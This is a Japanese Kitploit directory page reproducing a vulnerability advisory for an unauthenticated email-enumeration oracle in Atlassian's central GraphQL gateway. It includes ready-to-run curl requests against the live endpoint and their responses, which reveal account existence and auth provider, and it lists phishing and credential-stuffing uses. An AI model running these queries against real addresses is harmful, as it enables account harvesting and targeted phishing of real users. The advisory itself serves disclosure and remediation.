Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-XXXX-atlassian-email-enumeration — CVE-2026-XXXX: Atlassian GraphQL メール列挙オラクル (CWE-204, CVSS 5.3 MEDIUM) | Kitploit
ツール/GitHubGitHub/wh4l3x/cve-2026-xxxx-atlassian-email-enumeration
OSINT (オープンソースインテリジェンス)フィッシングツール偵察脆弱性分析情報収集ウェブセキュリティソーシャルエンジニアリングメール収集

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
wh4l3x/cve-2026-xxxx-atlassian-email-enumeration

CVE-2026-XXXX-atlassian-email-enumeration

CVE-2026-XXXX: Atlassian GraphQL メール列挙オラクル (CWE-204, CVSS 5.3 MEDIUM)

リポジトリを見る
11ヶ月前未レビュー

CVE-2026-XXXX: Atlassian Central GraphQL — メール列挙オラクル

製品

Atlassian Central GraphQL Gateway(api.atlassian.com/graphql)

脆弱性タイプ

CWE-204: Observable Response Discrepancy — メール列挙オラクル

深刻度

MEDIUM — CVSS 5.3 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

説明

Atlassian の中央 GraphQL ゲートウェイ上の loomUnauthenticated_primaryAuthTypeForEmail GraphQL クエリは、メールアドレスが Atlassian に登録されているかどうかによって異なる応答を返し、認証なしのユーザー列挙を可能にします。

登録済みメール → authType(例:workos、password、google)とリダイレクト URI を返す 未登録メール → リダイレクト URI なしで authType: "none" を返す

認証は不要です。クエリ名には "Unauthenticated" と含まれており、意図的に公開されていますが、任意のメールアドレスが Atlassian アカウントを持っているかどうかを漏えいさせるべきではありません。

影響を受けるバージョン

  • Atlassian Central GraphQL Gateway(スナップショット 37157、ビルド 2026-07-02)
  • エンドポイント: https://api.atlassian.com/graphql

概念実証

登録済みメール(認証プロバイダーを返す):

root@kitploit:~
curl -s "https://api.atlassian.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType hasActiveMemberships redirectUri } }"}'

応答:

root@kitploit:~
{
  "data": {
    "loomUnauthenticated_primaryAuthTypeForEmail": {
      "authType": "workos",
      "hasActiveMemberships": false,
      "redirectUri": "https://www.loom.com/api/auth/workos?email=admin%40atlassian.com"
    }
  }
}

未登録メール(none を返す):

root@kitploit:~
curl -s "https://api.atlassian.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType } }"}'

応答:

root@kitploit:~
{
  "data": {
    "loomUnauthenticated_primaryAuthTypeForEmail": {
      "authType": "none"
    }
  }
}

さらに漏えいするもの: メール → 認証プロバイダーのマッピング

authType: "workos" は、そのメールが WorkOS SSO を使用していることを確認します。authType: "google" または authType: "password" は認証方法を漏えいします。これにより、標的型フィッシングが可能になります。

影響

認証されていない攻撃者は以下が可能です:

  • 登録済みの Atlassian/Loom アカウントを大規模に列挙する
  • メールアドレスを認証プロバイダー(Google SSO、WorkOS、パスワード)にマッピングする
  • 認証プロバイダー情報を標的型フィッシングキャンペーンに利用する
  • クレデンシャルスタッフィング用に有効な Atlassian ユーザーのリストを作成する

根本原因

loomUnauthenticated_primaryAuthTypeForEmail クエリはレート制限を行わず、認証なしで任意のメールアドレスに対して認証プロバイダー情報を返します。このエンドポイントは(Loom のサインアップフローのために)意図的に認証なしとなっていますが、メールアドレスがアカウントを持っているかどうか、またどの認証プロバイダーを使用しているかを漏えいさせます。

対策

  1. 大量列挙を防ぐためにレート制限を追加する
  2. 登録済みメールと未登録メールの両方に対して一貫した応答を返す
  3. または、メールアドレスの状態を照会する前に CAPTCHA/ナンスを要求する

本脆弱性ではないもの

徹底的なテストの結果、以下の主張は無効とされました:

  • ❌ 権限を持つ JWT トークンは存在しない(トークンは aaid: "unidentified" を持つ)
  • ❌ 管理者ミューテーションの実行はできない(すべて ValidationError で失敗する)
  • ❌ 認証バイパスはできない(ゲートウェイは呼び出し元を正しく unidentified として識別する)
  • ❌ メール/認証プロバイダーのマッピング以外のデータ漏えいはない

タイムライン

  • 2026-06-30: 発見
  • 2026-06-30: [email protected] に報告
  • 2026-07-02: 評価を修正 — Critical (9.8) から Medium (5.3) に引き下げ

発見者

Wh4l3X

ツールをダウンロード